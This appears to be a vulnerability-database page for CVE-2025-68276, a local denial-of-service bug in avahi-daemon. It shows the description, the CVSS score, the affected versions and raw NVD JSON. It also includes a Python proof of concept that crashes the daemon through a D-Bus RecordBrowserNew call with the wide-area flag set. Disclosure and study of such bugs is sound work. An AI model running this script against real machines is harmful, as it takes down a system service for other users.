Security Vulnerability Report
中文
CVE-2025-68276 CVSS 5.5 MEDIUM

CVE-2025-68276

Published: 2026-01-12 18:15:48
Last Modified: 2026-01-16 16:51:03

Description

Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, an unprivileged local users can crash avahi-daemon (with wide-area disabled) by creating record browsers with the AVAHI_LOOKUP_USE_WIDE_AREA flag set via D-Bus. This can be done by either calling the RecordBrowserNew method directly or creating hostname/address/service resolvers/browsers that create those browsers internally themselves.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:avahi:avahi:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:avahi:avahi:0.9:rc1:*:*:*:*:*:* - VULNERABLE
Avahi < 0.9-rc2 (所有更早版本受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68276 PoC - Avahi Daemon DoS via D-Bus This PoC demonstrates triggering avahi-daemon crash by creating RecordBrowser with AVAHI_LOOKUP_USE_WIDE_AREA flag via D-Bus. Note: Requires wide-area disabled in avahi-daemon configuration. """ import dbus import sys def crash_avahi_daemon(): """ Crash avahi-daemon by creating RecordBrowser with AVAHI_LOOKUP_USE_WIDE_AREA flag when wide-area is disabled. """ try: bus = dbus.SystemBus() # Get Avahi Server object server = dbus.Interface( bus.get_object('org.freedesktop.Avahi', '/'), 'org.freedesktop.Avahi.Server' ) # AVAHI_LOOKUP_USE_WIDE_AREA = 2 AVAHI_LOOKUP_USE_WIDE_AREA = 2 AVAHI_IF_UNSPEC = -1 AVAHI_PROTO_UNSPEC = -1 # Create RecordBrowserNew with wide-area flag # This triggers the vulnerability when wide-area is disabled server.RecordBrowserNew( AVAHI_IF_UNSPEC, # interface AVAHI_PROTO_UNSPEC, # protocol '', # name 0, # type 0, # clazz 0, # type AVAHI_LOOKUP_USE_WIDE_AREA, # flags - triggers vulnerability dbus.ObjectPath('/test') ) print("[+] RecordBrowser created - avahi-daemon may crash") except dbus.exceptions.DBusException as e: print(f"[*] DBus error (may indicate successful crash): {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': print("[*] CVE-2025-68276 PoC - Avahi DoS") print("[*] Requires: Local access, avahi-daemon running, wide-area disabled") crash_avahi_daemon()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68276", "sourceIdentifier": "[email protected]", "published": "2026-01-12T18:15:47.560", "lastModified": "2026-01-16T16:51:03.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, an unprivileged local users can crash avahi-daemon (with wide-area disabled) by creating record browsers with the AVAHI_LOOKUP_USE_WIDE_AREA flag set via D-Bus. This can be done by either calling\nthe RecordBrowserNew method directly or creating hostname/address/service resolvers/browsers that create those browsers internally themselves."}, {"lang": "es", "value": "Avahi es un sistema que facilita el descubrimiento de servicios en una red local a través de la suite de protocolos mDNS/DNS-SD. En 0.9-rc2 y versiones anteriores, un usuario local sin privilegios puede bloquear avahi-daemon (con el área extendida deshabilitada) creando navegadores de registros con la bandera AVAHI_LOOKUP_USE_WIDE_AREA establecida a través de D-Bus. Esto se puede hacer ya sea llamando directamente al método RecordBrowserNew o creando resolutores/navegadores de nombre de host/dirección/servicio que crean esos navegadores internamente por sí mismos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:avahi:avahi:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9", "matchCriteriaId": "6481267F-934F-4A0C-9B25-59738E798458"}, {"vulnerable": true, "criteria": "cpe:2.3:a:avahi:avahi:0.9:rc1:*:*:*:*:*:*", "matchCriteriaId": "76971590-AEED-4CB1-B7B7-45EA8FD11524"}]}]}], "references": [{"url": "https://github.com/avahi/avahi/commit/ede7048475c5d47d53890e3bc1350dda8e0b3688", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/avahi/avahi/pull/806", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/avahi/avahi/security/advisories/GHSA-mhf3-865v-g5rc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}